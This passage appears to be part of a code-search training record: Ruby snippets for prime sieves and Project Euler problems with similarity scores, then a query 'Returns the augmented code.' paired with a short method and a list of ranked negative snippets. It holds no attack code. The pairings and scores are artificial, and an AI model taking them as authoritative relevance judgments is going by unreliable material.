4583,\n\t4591, 4597, 4603, 4621, 4637, 4639, 4643, 4649, 4651, 4657,\n\t4663, 4673, 4679, 4691, 4703, 4721, 4723, 4729, 4733, 4751,\n\t4759, 4783, 4787, 4789, 4793, 4799, 4801, 4813, 4817, 4831,\n\t4861, 4871, 4877, 4889, 4903, 4909, 4919, 4931, 4933, 4937,\n\t4943, 4951, 4957, 4967, 4969, 4973, 4987, 4993, 4999, 5003,\n\t5009, 5011, 5021, 5023, 5039, 5051, 5059, 5077, 5081, 5087,\n\t5099, 5101, 5107, 5113, 5119, 5147, 5153, 5167, 5171, 5179,\n\t5189, 5197, 5209, 5227, 5231, 5233, 5237, 5261, 5273, 5279,\n\t5281, 5297, 5303, 5309, 5323, 5333, 5347, 5351, 5381, 5387,\n\t5393, 5399, 5407, 5413, 5417, 5419, 5431, 5437, 5441, 5443,\n\t5449, 5471, 5477, 5479, 5483, 5501, 5503, 5507, 5519, 5521,\n\t5527, 5531, 5557, 5563, 5569, 5573, 5581, 5591, 5623, 5639,\n\t5641, 5647, 5651, 5653, 5657, 5659, 5669, 5683, 5689, 5693,\n\t5701, 5711, 5717, 5737, 5741, 5743, 5749, 5779, 5783, 5791,\n\t5801, 5807, 5813, 5821, 5827, 5839, 5843, 5849, 5851, 5857,\n\t5861, 5867, 5869, 5879, 5881, 5897, 5903, 5923, 5927, 5939,\n\t5953, 5981, 5987, 6007, 6011, 6029, 6037, 6043, 6047, 6053,\n\t6067, 6073, 6079, 6089, 6091, 6101, 6113, 6121, 6131, 6133,\n\t6143, 6151, 6163, 6173, 6197, 6199, 6203, 6211, 6217, 6221,\n\t6229, 6247, 6257, 6263, 6269, 6271, 6277, 6287, 6299, 6301,\n\t6311, 6317, 6323, 6329, 6337, 6343, 6353, 6359, 6361, 6367,\n\t6373, 6379, 6389, 6397, 6421, 6427, 6449, 6451, 6469, 6473,\n\t6481, 6491, 6521, 6529, 6547, 6551, 6553, 6563, 6569, 6571,\n\t6577, 6581, 6599, 6607, 6619, 6637, 6653, 6659, 6661, 6673,\n\t6679, 6689, 6691, 6701, 6703, 6709, 6719, 6733, 6737, 6761,\n\t6763, 6779, 6781, 6791, 6793, 6803, 6823, 6827, 6829, 6833,\n\t6841, 6857, 6863, 6869, 6871, 6883, 6899, 6907, 6911, 6917,\n\t6947, 6949, 6959, 6961, 6967, 6971, 6977, 6983, 6991, 6997,\n\t7001, 7013, 7019, 7027, 7039, 7043, 7057, 7069, 7079, 7103,\n\t7109, 7121, 7127, 7129, 7151, 7159, 7177, 7187, 7193, 7207,\n\t7211, 7213, 7219, 7229, 7237, 7243, 7247, 7253, 7283, 7297,\n\t7307, 7309, 7321, 7331, 7333, 7349, 7351, 7369, 7393, 7411,\n\t7417, 7433, 7451, 7457, 7459, 7477, 7481, 7487, 7489, 7499,\n\t7507, 7517, 7523, 7529, 7537, 7541, 7547, 7549, 7559, 7561,\n\t7573, 7577, 7583, 7589, 7591, 7603, 7607, 7621, 7639, 7643,\n\t7649, 7669, 7673, 7681, 7687, 7691, 7699, 7703, 7717, 7723,\n\t7727, 7741, 7753, 7757, 7759, 7789, 7793, 7817, 7823, 7829,\n\t7841, 7853, 7867, 7873, 7877, 7879, 7883, 7901, 7907, 7919]\nend",
"def primes_up_to(limit)\n root_limit = Math.sqrt(limit)\n values = (2..limit).to_a\n j = 0\n candidate = values[j]\n while candidate < root_limit\n values.delete_if { |i| (i % candidate == 0 and i != candidate) }\n j+=1\n puts \"#{j}: #{values.length} values remain\"\n candidate = values[j]\n end\n values\nend",
"def find_prime\n x = 2\n while @prime_numbers.count < @total\n @prime_numbers << x if prime?(x)\n x += 1\n end\n end",
"def brute_force_primes(limit)\n \n primes = []\n complexity = 0\n # we know that 0,1 can't be prime\n # start at 2 and create a Range upto the limit\n (2..limit).each{|number|\n complexity += 1\n is_prime = true\n \n # any number is divisible by 1\n # so start at 2\n (2..number).each{|n|\n complexity += 1\n # ensure the number being tested is not the number in the loop\n unless number == n\n # continue unless the local loop value of n is a factor of number\n unless number % n != 0\n is_prime = false\n break\n end\n end\n }\n \n primes << number if is_prime\n }\n puts \"O(n**2): #{(limit**2).to_s}\"\n puts \"Complexity: #{complexity.to_s}\"\n return primes\n \nend",
"def ruby_prime(n1, n2)\n prime_numbers = []\n (n1..n2).each do |num|\n if Prime.prime?(num)\n prime_numbers << num\n end\n end\n prime_numbers\nend",
"def get_primes(limit)\n primes = []\n (2...limit).each do |number|\n primes << number if is_prime?(number)\n end\n primes\nend",
"def find_primes(limit)\n num_array = (2...limit).to_a\n num_array.each_with_index do |val, index|\n if val\n index += val\n while index < limit-2\n num_array[index] = nil\n index += val\n end\n else\n next\n end\n end\n num_array.compact\nend",
"def count_primes(n)\n mark = [false] * (n + 1)\n counter = 0\n for i in 2...n\n next if mark[i] == true\n counter += 1\n (i * i).step n, i do |j| mark[j] = true end\n end\n counter\nend",
"def summation_of_primes(num)\n\n\tsum = 2 # sum of all the primes\n\tctr = 3 # current number counter, increase by 1 for each loop through the while clause\n\n\twhile ctr < num\n\t\tis_prime = true\n\t\tfor i in 2..(ctr-1)\n\t\t\t# puts \"CTR: #{ctr}\"\n\t\t\t# puts \"I: #{i}\"\n\t\t\tis_prime = false if ctr % i == 0\n\t\tend\n\t\tif is_prime\n\t\t\tsum += ctr\n\t\t\t# puts \"The current sum is #{sum}\"\n\t\tend\n\t\tctr += 1\n\tend\t\n\n\t\"The sum is #{sum}\"\n\nend",
"def largest_prime_sum(limit)\n prime = get_primes(limit)\n sum_prime = sum_primes(prime)\n max_length = -1\n largest_prime_number = -1\n \n (0...prime.length).each do |i|\n (0...i).each do |j|\n break if (sum_prime[i] - sum_prime[j] > limit) \n consective_sum = sum_prime[i] - sum_prime[j]\n if ((max_length < i-j+1) and is_prime?(consective_sum))\n max_length = i-j+1\n largest_prime_number = consective_sum\n end\n \n end\n end\n largest_prime_number\nend",
"def primes\n\t\t# primes = []\n\t\t# primes << 2\n\t\tprimes = [2] # combined previous two lines\n\t\tx = 3\n\n\t\tloop do\n\t\t\tbreak if primes.length == @n_primes # End loop when desired number has been calculated\n\t\t# while primes.length < @n_primes # Alternative 1 to loop do, break\n\t\t# until primes.length == @n_primes # Alternative 2 to loop do, break\n\t\t\ty = 3\n\t\t\ty += 2 until x % y == 0 # Loop to test if x is divisible by any odd number below it, y\n\t\t\tprimes << x if x == y # If the (odd) number was not divisible by any (odd) below itself, it is a prime\n\t\t\tx += 2\n\t\tend\n\n\t\treturn primes\n\tend",
"def count_primes(number)\n # create an array from 2-num\n # for each number in the array of possible primes\n # modulo the number by each n\n # if the number % n is 0, it's not a prime number\n # unless the number and n are the same\n possible_primes = (2...number).to_a\n possible_primes.select! do |num|\n # need to return true if num is prime, false if it is not\n # binding.pry if num == 3\n half_num = num\n results = (2...half_num).select do |n|\n # if num % n == 0, means that n evenly divides into num making it not prime\n num % n == 0\n end\n results.empty?\n # any number within results evenly divided into the num\n # making the num not prime\n # so if results is empty, it means that nothing divided into the num\n # making the num prime\n end\n possible_primes.count\nend",
"def even_fib_sum\n a = 1\n b = 2\n c = a + b\n sum = 2\n while c < 4000000\n a = b\n b = c\n c = a + b\n sum += c if (c % 2 == 0) && (c < 4000000)\n end\n sum\nend",
"def primes_up_to(max)\n repository = (0..max).collect{true} #=> Create flag array\n limit = (max ** 0.5) #=> establish search limit\n\n for index in 2..limit #=> search through flag aray\n next if !repository[index]\n num = (index * 2)\n while num <= max #=> unflag multiples of primes\n repository[num] = false\n num += index\n end\n end\n\n # => convert numbers into arrays\n primes = repository.collect.with_index do |flag, value|\n value if flag\n end\n\n # return cleaned array\n primes.shift\n primes.shift\n primes.compact\nend",
"def problem_two\n fibs(4_000_000).select { |n| n.even? }.reduce(&:+)\n end",
"def GetPrimes (maximum)\t\n\t# Construct and execute the Sieve\n\tsqrtMaximum = Math.sqrt(maximum).to_i\n\tprimeTracker = Array.new(maximum,true)\n\t\n\tfor i in 2...sqrtMaximum\n\t\tnext if !primeTracker[i]\n\t\t\n\t\tstart = i + i\n\t\t\n\t\tfor j in (start...maximum).step(i)\n\t\t\tprimeTracker[j] = false;\n\t\tend\n\tend\n\t\n\tprimes = []\n\t\n\t# Generate the list of primes to return\n\tfor k in 2...maximum\n\t\tprimes.push(k) if primeTracker[k]\n\tend\n\t\n\treturn primes\nend",
"def primes(n) \n max = Math::sqrt(n).truncate\n (2..max).each {|val|\n if n % val == 0 then\n p val\n primes(n/val)\n return\n elsif val == max then\n p n\n return\n end\n }\nend",
"def nth_prime(n)\n nums = (0..10000).to_a\n result = []\n\n nums.each do |i| \n if prime?(i) == true\n result.push(i)\n end\n end\n\n\n return result[n]\nend",
"def problem_60\n prime_check = lambda do |a,b|\n (a + b).to_i.prime? && (b + a).to_i.prime?\n end\n\n find_match = lambda do |a,k|\n r = a.select {|p| k != p && prime_check.call(k,p) }\n end\n\n primes = Primes.upto(10_000).map(&:to_s)\n primes.delete(\"2\")\n\n hit = {}\n\n primes.each do |p1|\n p1a = find_match.call(primes,p1)\n p1a.each do |p2|\n p2a = find_match.call(p1a,p2)\n p2a.each do |p3|\n p3a = find_match.call(p2a,p2)\n p3a.each do |p3|\n p4a = find_match.call(p3a,p3)\n p4a.each do |p4|\n p5a = find_match.call(p4a,p4)\n if p5a.length > 0\n p5a.each do |p5|\n a = [p1,p2,p3,p4,p5]\n sum = a.map(&:to_i).reduce(&:+)\n unless hit[sum]\n puts \"#{sum} #{a.inspect}\"\n else\n hit[sum] = true\n end\n return sum\n end\n end\n end\n end\n end\n end\n end\nend",
"def even_fib_sum(limit)\n fib0, fib1, sum = 1, 2, 0\n while fib1 <= limit\n sum += fib1 if fib1 % 2 == 0\n fib0, fib1 = fib1, fib0 + fib1\n end\n sum\nend",
"def sum_of_even_fibonaccis(limit)\n\n holder = [1,2]\n\n while ( holder[-1] + holder[-2] ) < limit\n holder << holder[-1] + holder[-2]\n end\n\n return holder.select { |n| n.even? }.reduce(:+)\n\nend",
"def sieve(nth_prime)\n primes = [2]\n num = 2\n while primes.length <= nth_prime do\n primes << num if !primes.any? {|prime| num % prime == 0}\n num +=1\n end\n return primes[primes.length-2] # -2 because we don't put 1 (because every number is divisble by 1) and index is from 0 to x thus -2\nend",
"def primes(top)\n n = 2\n primes = []\n loop do\n primes << n if (2..Math.sqrt(n)).all? {|x| n % x != 0 }\n return primes.last if primes.count == top\n n += 1\n end\nend",
"def t_primes()\n t_primes = []\n 10.step do |i| # Skip all one-digit numbers.\n next unless i.prime?\n digits = i.to_s.chars\n cp_digits = digits.dup # Copy the digits as we will operate on\n # this array twice.\n lftrt = rtlft = digits.length\n # A number is a left-truncatable prime if all its leading digits\n # (that is, the digit in the most significant place), when succ-\n # essively removed, all resulting numbers are prime.\n lftrt.times do\n cp_digits.shift\n break unless cp_digits.join.to_i.prime?\n end\n # If cp_digits still has elements in it, that means those elements\n # weren't prime themselves.\n next unless cp_digits.length.zero?\n cp_digits = digits.dup\n rtlft.times do\n cp_digits.pop\n break unless cp_digits.join.to_i.prime?\n end\n next unless cp_digits.length.zero?\n t_primes << i # Found a two-sided truncatable prime!\n break if t_primes.size == 11\n end\n return t_primes\nend",
"def euler002\n sum = 0\n fib = [1, 1]\n while fib[1] < 4e6\n sum += fib[1] if fib[1].even?\n fib = [fib[1], fib[0] + fib[1]]\n end\n sum\nend",
"def problem_60a\n num_cut = 5\n# simple\n pairs = {}\n seen_primes = []\n num_primes = 0\n last = start = Time.now\n Primes.each do |p|\n next if p == 2\n b = p.to_s\n seen_primes.each_index do |sp_i|\n sp = seen_primes[sp_i]\n a = sp.to_s\n ai,bi = a.to_i,b.to_i\n ab = (a + b).to_i\n ba = (b + a).to_i\n\n if ba.prime? && ab.prime?\n # We have a pair that works both ways so add the peer to each prime\n pairs[ai] = aa = ((pairs[ai] || []) << bi).uniq\n pairs[bi] = bb = ((pairs[bi] || []) << ai).uniq\n next unless pairs[bi].length >= num_cut - 1 # bi is biggest of pair\n\n check = ([ai] + aa) & ([bi] + bb)\n if check.length >= num_cut\n puts \"Try #{check.inspect}\"\n perm = check.permutation(2).to_a\n new = perm.select do |x,y|\n (x.to_s + y.to_s).to_i.prime? && (x.to_s + y.to_s).to_i.prime?\n end\n if new.length == perm.length\n n = new.flatten.uniq\n sum = n.reduce(&:+)\n puts \"#{n.inspect} *** #{sum}\"\n return sum\n end\n end\n end\n end\n seen_primes << p\n end\n nil\nend",
"def sieve_eratosthenes(biggest_num)\n primes = (0..biggest_num).to_a\n primes[0] = primes[1] = nil\n\n counter = 0\n primes.each do |p|\n next unless p\n\n break if p*p > biggest_num\n counter += 1\n\n (p*p).step(biggest_num,p) { |m| primes[m] = nil }\n end\n primes.compact\nend",
"def fib(first_num, second_num, limit)\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend",
"def fib(first_num, second_num, limit)\n while first_num + second_num < limit\n sum = first_num + second_num\n first_num = second_num\n second_num = sum\n end\n sum\nend",
"def pe50v2()\n\ta = sieveOfErathosthenes(3990)\n\tprim,total,count = [], 0, 0\n\ta.each_with_index do |x, index|\n\t\tif x \n\t\t\ttotal += index\n\t\t\tcount += 1 \n\t\t\tprim.push([total,count])\n\t\tend\n\tend\n\t#p prim\n\tmax = 0\n\tthePrime = 0\n\tseq = prim.map {|k| k }.permutation(2).to_a.each {|x| x.flatten!}\n\tseq.each do |a, b, c , d| \n\t\t#printf \"%d %d %d %d\\n\", a, b, c, d\n\t\te = a - c\n\t\tif(Prime.prime?(e)) then\n\t\t\tif(max < b - d) then\n\t\t\t\tmax = b - d\n\t\t\t\tthePrime = e\n\t\t\t\tprintf \"prime %d with max %d\\n\",e,max\n\t\t\tend\n\t\tend\n\tend\n\tprintf \"the prime is %d with a seqence of %d\\n\",thePrime, max\nend",
"def longest_consecutive_prime_under(max)\n primes = (1..max).select {|n| n.prime?}\n\n length = 1\n candidate = 2\n while length < (primes.length / 2)\n index = 0\n sum = primes[index..length].inject(:+)\n until primes.include?(sum) or sum > max or index + length > primes.length / 2\n index += 1\n sum = primes[index..(index + length)].inject(:+)\n end\n if primes.include?(sum) and sum < max\n # p primes[index..(index + length)]\n candidate = sum \n end\n length += 1\n end\n candidate\nend",
"def generate_primes(upper_limit)\n primes = Array.new\n \n # Tally is a list of factors or prime numbers found.\n # We must use a running ceiling value called max_factor to calculate factors\n # to. max_tally_for_prime stores the maximum factor tallied for each prime\n # that was found.\n tally = Set.new \n max_tally_for_prime = Hash.new\n max_factor = 100\n \n i = 2\n while primes.length < upper_limit do\n if tally.include?(i) == false\n primes.push i\n \n # Fill tally with multiples of the prime found\n j = i\n while j <= max_factor do\n tally.add j\n max_tally_for_prime[i] = j\n j += i\n end \n end\n i += 1\n \n # When we reach half way to the max factor the ceiling is doubled and the\n # tally is extended\n if i > max_factor/2\n max_factor = max_factor*2\n primes.each do |prime|\n j = max_tally_for_prime[prime]\n while j <= max_factor\n j += prime\n tally.add j\n end\n max_tally_for_prime[prime] = j\n end\n end\n end\n return primes\nend"
] |
[
"0.82160825",
"0.78906024",
"0.75564945",
"0.75232756",
"0.7479366",
"0.7477097",
"0.74588966",
"0.7440184",
"0.74295956",
"0.7331621",
"0.73256236",
"0.7311697",
"0.7295443",
"0.72817844",
"0.72037166",
"0.71868205",
"0.7185547",
"0.7127194",
"0.7119031",
"0.7118858",
"0.7084779",
"0.70718455",
"0.7066048",
"0.70606625",
"0.69548625",
"0.69294524",
"0.6927792",
"0.68893117",
"0.68249875",
"0.6792907",
"0.678226",
"0.6768404",
"0.67588323",
"0.67522246",
"0.67415875",
"0.6728856",
"0.6713901",
"0.67025745",
"0.66981035",
"0.6694241",
"0.6691744",
"0.6675099",
"0.6665679",
"0.6665204",
"0.66447616",
"0.6641538",
"0.66173273",
"0.6609022",
"0.6602995",
"0.6602995",
"0.6595698",
"0.6593421",
"0.6591455",
"0.65819055",
"0.6569824",
"0.6552494",
"0.65475404",
"0.65342355",
"0.651987",
"0.65189946",
"0.6508707",
"0.650501",
"0.6501097",
"0.6493853",
"0.6462972",
"0.64617074",
"0.6449183",
"0.64480716",
"0.6440397",
"0.643995",
"0.64367867",
"0.6432126",
"0.6428359",
"0.6423386",
"0.6422862",
"0.64179534",
"0.6402246",
"0.63940656",
"0.6390106",
"0.6387168",
"0.63723713",
"0.63642055",
"0.6356939",
"0.6348375",
"0.6344876",
"0.6336136",
"0.6319357",
"0.6307489",
"0.6302818",
"0.6299445",
"0.62871516",
"0.62867993",
"0.6278533",
"0.6265363",
"0.6262686",
"0.6262078",
"0.6261625",
"0.6261625",
"0.6239215",
"0.6233491",
"0.62332374"
] |
0.0
|
-1
|
Returns the augmented code.
|
def to_a()
return @augmented_code
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def augment_code()\n @augmented_code = \"\"\n\n # Configure variable tracing (the variables to be traced are declared at the\n # beginning of the program)\n @augmented_code += generate_tracing_configuration()\n\n # Iterate over the original code's lines\n @code.each_line do |line|\n @state[:line_number] += 1\n\n # Remove trailing whitespace. If the line is not empty, parse and process it.\n line.rstrip!\n if !line.empty?\n # Update our state based on the current line\n parse_line(line)\n\n # Add stuff if necessary\n line = possibly_add_line_number_comment(line)\n line = possibly_add_trace_info_calls(line)\n end\n\n @augmented_code += line + \"\\n\"\n end\n end",
"def code()\n return @code.clone()\n end",
"def inline_code; end",
"def code\n @code\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def code\n @code\n end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def assemble\n @code.join\n end",
"def code\r\n return @code[@index]\r\n end",
"def code\n call_once\n @code\n end",
"def inspect\n @code.to_s\n end",
"def code\n self.class.code\n end",
"def add_code(ins)\n @compiler.add_code(ins)\n return ins\n end",
"def code=(_arg0); end",
"def code=(_arg0); end",
"def getCode()\n return @code\n end",
"def code\n @info.code\n end",
"def inspect\n \"#<#{self.class}: #@code>\"\n end",
"def code\n str = Indentation.get\n str << \"var #{name} = function(#{@parameters.join(', ')}) {\\n\"\n Indentation.indent { str << \"#{block}\\n\" }\n str << \"#{Indentation.get}};\\n\"\n str\n end",
"def precompiled_method_return_value\n \"_erbout\"\n end",
"def precompiled_method_return_value\n \"_erbout\"\n end",
"def extract_code!\n data = @data\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def code_point; end",
"def code\n body.code.intern if body.respond_to?(:code) && body.code\n end",
"def inspect\n \"f(#{@code.inspect})\"\n end",
"def inspect\n \"f(#{@code.inspect})\"\n end",
"def code(a_code)\n\t\ta_code\n\tend",
"def call\n eval(@code)\n end",
"def get_filecode()\n \"__EMIT_#{ARGV[0].gsub(/[^\\w]/, \"_\").upcase}__\"\nend",
"def code_html\n CodeRay.scan(self.code, :python).div().html_safe\n end",
"def to_s\n return unless filename\n\n result = []\n result << \"%= lang:#{language}#{highlight}\"\n result << '\\begin{code}'\n result.concat(raw_code)\n result << '\\end{code}'\n\n rescue CodeInclusionException => e\n code_error(e.message)\n end",
"def to_code\n if @sexp\n \"/*:#{@sexp.line}:#{@sexp.column}*/#{@code}\"\n else\n @code\n end\n end",
"def turn_pre_to_code\n output = self\n\n pre_s = output.index(/\\<pre\\>/)\n pre_e = output.index(/\\<\\/pre\\>/, pre_s) unless pre_s.nil?\n while (!pre_s.nil? && !pre_e.nil? && pre_e > pre_s)\n # turn these into [code] tags\n temp = output[0...pre_s] + '[code]'\n temp = temp + output[pre_s+5...pre_e].gsub('>', '>').gsub('<', '<').gsub('<br/>', '').gsub('<br />', '')\n temp = temp + '[/code]' + output[pre_e+6..-1]\n output = temp\n\n pre_s = output.index(/\\<pre\\>/)\n pre_e = output.index(/\\<\\/pre\\>/, pre_s) unless pre_s.nil?\n end\n return output\n end",
"def precompiled(locals)\n source, offset = super\n [source, offset + 1]\n end",
"def string=(code); end",
"def compile()\n self._compiled = <<\"JAVASCRIPT\"\n(function(repl) {\n try {\n var rc;\n #{code.join(' ')}\n repl.rc_ok(rc);\n } catch(e) {\n repl.rc_fail(e.name, e.message ? e.message : e);\n };\n})(#{replid});\nJAVASCRIPT\n self._code = []\n end",
"def prefix(code)\n @src << code\n end",
"def code_point=(_); end",
"def code\n '202'\n end",
"def code\n # create an Array to collect all fields\n fields = [@trajectory, @eye, @target, @up, @params].map {|f| f.to_s}\n # create code by trajectory and azcode of fields\n return \"#{@trajectory.upcase}-#{azcode(fields)}\"\n end",
"def generate_code\n # only need to do this if code not set\n return if code\n\n ensure_unique_code\n end",
"def codeblock\n H[:pre, attr, H[:code, value]]\n end",
"def generate_source\n b = binding\n @generated_code = ERB.new(@artifact.code).result(b)\n end",
"def code\n @code ||= @codes.first\n end",
"def thru_coderay\n gsub %r{<(code)(.*?)>(.*?)</\\1>}m do\n atts, code = $2, CGI.unescapeHTML($3)\n\n lang =\n if $2 =~ /lang=('|\")(.*?)\\1/i\n $2\n else\n :ruby\n end\n\n tag =\n if code =~ /\\n/\n :pre\n else\n :code\n end\n\n html = CodeRay.scan(code, lang).html(:css => :style)\n\n %{<#{tag} class=\"code\"#{atts}>#{html}</#{tag}>}\n end\n end",
"def ace(code_string)\n #string = hook_gac()\n string = hook_editor(MODE, THEME)\n string << hook_code(code_string)\n \n # FIX\n # When hook commands, the code do not appears on editor\n # string << hook_ace_commands(RENDER_OPTIONS[:commands])\n string = CoffeeScript.compile(string, :bare => true)\n javascript_tag(string, :id => \"ace-#{Time.now}\")\n end",
"def sic_code; end",
"def code(lang, &block)\n source_code = capture(&block).strip\n eval('_erbout', block.binding).concat %Q(<pre class=\"CodeRay\"><code class=\"language-#{lang}\">#{html_escape source_code}</code></pre>)\nend",
"def src\n \"#{@cur_method.first.first} | #{@cur_method.map(&:first)[1..-1].join('.')}\"\n end",
"def code\r\n render :template => 'mxes/code/code' \r\n end",
"def to_s\r\n code \r\n end",
"def map_code\n @map_code\n end",
"def code\n @data['code']\n end",
"def code\n @data['code']\n end",
"def code\n info['Code']\n end",
"def extract_code(data)\n data.gsub!(/^``` ?([^\\r\\n]+)?\\r?\\n(.+?)\\r?\\n```\\r?$/m) do\n id = Digest::SHA1.hexdigest($2)\n cached = check_cache(:code, id)\n @codemap[id] = cached ?\n { :output => cached } :\n { :lang => $1, :code => $2 }\n id\n end\n data\n end",
"def to_s\n code.to_s\n end",
"def code_for(behavior)\n code = behavior.to_ruby\n code = code.gsub(/^proc \\{/, '')\n code = code.gsub(/\\}$/, '')\n \n # TODO_VERY_SOON: Remove spaces and junk from lines\n \n # TODO: Maybe one day switch all the {} procs \n # to do/end if they're multi-line\n \n code\n end",
"def name\n return \"#{@code}\"\n end",
"def code\n path\n end",
"def compile_script_string\n @sources.string\n end",
"def raw_codewords\n @raw_codewords\n end",
"def code\n @data['code']\n end",
"def metro_code; end",
"def rewritten_code(sexp, rewriter)\n sexp_copy = VirtualKeywords.deep_copy_array sexp\n new_code = @sexp_stringifier.stringify(\n rewriter.process(sexp_copy))\n end",
"def ruby_code(obj); end",
"def lines_of_code; end",
"def lines_of_code; end",
"def thru_coderay #:nodoc:\n gsub %r{<(code)(.*?)>(.*?)</\\1>}m do\n elem, atts, code = $1, $2, CGI.unescapeHTML($3).sub(/\\A\\r?\\n/, '')\n\n lang_regexp = /\\blang=('|\")(.*?)\\1/io\n lang = atts[lang_regexp, 2]\n lang = :ruby if lang !~ /\\S/\n atts.sub! lang_regexp, %{lang=\"#{lang}\"}\n\n body = CodeRay.scan(code, lang).html(:css => :style)\n\n if code =~ /\\n/\n span = :para\n head = \"<ins><pre\"\n tail = \"</pre></ins>\"\n\n else\n span = :line\n head = \"<#{elem}\"\n tail = \"</#{elem}>\"\n end\n\n unless atts.sub!(/\\b(class=('|\"))(.*?\\2)/){ $1 + span + ' ' + $3 }\n atts << %{ class=\"#{span}\"}\n end\n\n %{#{head}#{atts}>#{body}#{tail}}\n end\n end",
"def code\n @args.map(&:inspect).join(\", \")\n end",
"def process_code(data)\n @codemap.each do |id, spec|\n formatted = spec[:output] ||\n begin\n code = spec[:code]\n lang = spec[:lang]\n\n if code.lines.all? { |line| line =~ /\\A\\r?\\n\\Z/ || line =~ /^( |\\t)/ }\n code.gsub!(/^( |\\t)/m, '')\n end\n # formatted =\n # begin\n # lang && OY::Albino.colorize(code, lang)\n # rescue ::Albino::ShellArgumentError, ::Albino::Process::TimeoutExceeded,\n # ::Albino::Process::MaximumOutputExceeded\n # p 23\n # end\n formatted ||= \"<pre><code class='#{lang}'>#{CGI.escapeHTML(code)}</code></pre>\"\n update_cache(:code, id, formatted)\n formatted\n end\n data.gsub!(id, formatted)\n end\n data\n end",
"def src; end",
"def src; end",
"def src; end",
"def source mold\n\t\tret = comment(mold.name)\n\n\t\tret << \"#import \\\"#{mold.name}.h\\\"\\n\"\n\t\tret << import(mold) #get all the needed imports\n\t\t#ret << \"@interface #{mold.name} {\\n\\n}\\n\\n\"\n\t\tret << \"@implementation #{mold.name}\\n\"\n\n\t\t#synthesize all of the properties in the .h file automatically\n\t\tunless mold.properties.empty?\n\t\t\tret << \"@synthesize \"\n\t\t\tmold.properties.each { |p| ret << p.name + \", \" }\n\t\t\t#remove the last two characters from the string\n\t\t\tret.chop!.chop!\n\t\tend\n\n\t\t#create the internal wiring electrician, use him to write out the mapping function\n\t\telectrician = Wire_Internal.new mold.properties\n\t\tret << electrician.write\n\n\t\tret << coding(mold)\n\n\t\tret << \"\\n\\n@end\"\n\tend",
"def replace_this_with_appropriate_code(x) end",
"def generate_code\n self.code ||= self.create_code(client)\n save && code\n end",
"def desired_result\n CodeEvaluator.evaluate(result)\n end",
"def parse_codeblock; end",
"def normalize(code); end",
"def to_s\n @code.to_s\n end",
"def generate_code\n # only need to do this if code not set\n return if code\n ensure_unique_code\n end",
"def code(*codes); end",
"def code(*codes); end",
"def code\n\t\ttoken\n\tend",
"def source() end",
"def process_code(text)\n begin\n results = text.clone\n # processing code function\n text.scan(/\\${i2x.code\\((.*?)\\)}/).each { |k|\n k.each { |m|\n puts \"\\n\\tProcessing: #{m}\"\n results[\"${i2x.code(#{m})}\"] = eval(m.to_s).to_s\n }\n } if text.include? 'i2x.code'\n rescue Exception => e\n Services::Slog.exception e\n end\n results\n end",
"def augment_target\n # Capture this data in the closure.\n proxy_class = @proxy_class\n builder_class = @builder_class\n defines = Proc.new do\n # Assembles code.\n def assemble(&block)\n _assemble block\n end\n \n # Internal method for assembling code.\n #\n # We need to use a block to define this method, so we can capture the\n # outer variables (proxy_class and builder_class) in its closure. However,\n # blocks can't take blocks as parameters (at least not in MRI 1.8). So\n # we use a regular method definition (assemble) which wraps the block\n # into a Proc received by _assemble.\n define_method :_assemble do |block|\n code_builder = builder_class.new\n code_builder.start_assembling\n proxy = proxy_class.new(code_builder)\n block.call proxy\n code_builder.done_assembling proxy\n end\n private :_assemble\n end\n @target.class_eval(&defines)\n (class << @target; self; end).module_eval(&defines) \n end",
"def build_end\n @code << <<-CODE\n\t \t\t\treturn result\n\t\t\tend\t\n\t\tCODE\n end",
"def method_source(mnemonic, flags, sample, prefix)\n\t\"\"\"// Mnemonic: #{sample}\n// Sets Flags: #{flags}\nfunc (p *GBProcessor) #{prefix}#{mnemonic}(opcode byte, params ...byte) {\n\n}\"\"\"\nend",
"def description_and_code\n \"#{self.description} (#{self.code})\"\n end",
"def precompiled_with_ambles(local_names)\n preamble = <<END.gsub(\"\\n\", \";\")\nbegin\nextend Haml::Helpers\n_hamlout = @haml_buffer = Haml::Buffer.new(haml_buffer, #{options.for_buffer.inspect})\n_erbout = _hamlout.buffer\n@output_buffer = output_buffer ||= ActionView::OutputBuffer.new rescue nil\nEND\n postamble = <<END.gsub(\"\\n\", \";\")\n#{precompiled_method_return_value}\nensure\n@haml_buffer = @haml_buffer.upper if @haml_buffer\nend\nEND\n preamble + locals_code(local_names) + precompiled + postamble\n end"
] |
[
"0.72014666",
"0.6867652",
"0.6675771",
"0.66471815",
"0.66471815",
"0.6592931",
"0.6592931",
"0.65491045",
"0.63755506",
"0.63755506",
"0.63755506",
"0.63755506",
"0.63755506",
"0.63755506",
"0.63755506",
"0.6373828",
"0.62728477",
"0.62199265",
"0.60984147",
"0.6090227",
"0.60754734",
"0.6019013",
"0.6019013",
"0.6015236",
"0.6010547",
"0.60036564",
"0.6002656",
"0.59976184",
"0.59976184",
"0.59613836",
"0.59293735",
"0.5903495",
"0.58974266",
"0.58947176",
"0.5890646",
"0.5888674",
"0.5864503",
"0.5840023",
"0.5824614",
"0.58118254",
"0.5798585",
"0.57446486",
"0.5723074",
"0.5721118",
"0.57066506",
"0.56754005",
"0.5660815",
"0.5656308",
"0.5656164",
"0.5637876",
"0.56346744",
"0.5614882",
"0.5595079",
"0.55910486",
"0.5587966",
"0.55702317",
"0.55675036",
"0.5564681",
"0.5547927",
"0.55413413",
"0.5525733",
"0.5525733",
"0.5521188",
"0.54934627",
"0.5474494",
"0.5466958",
"0.5466246",
"0.5461097",
"0.54597956",
"0.5452707",
"0.5451368",
"0.54435074",
"0.54276943",
"0.5427485",
"0.542088",
"0.542088",
"0.53929394",
"0.53732556",
"0.53689116",
"0.53683186",
"0.53683186",
"0.53683186",
"0.5359969",
"0.5356426",
"0.53530395",
"0.53522766",
"0.53402185",
"0.5340042",
"0.5337035",
"0.5336006",
"0.53231794",
"0.53231794",
"0.5321621",
"0.53178835",
"0.5315847",
"0.5314122",
"0.53024817",
"0.5298569",
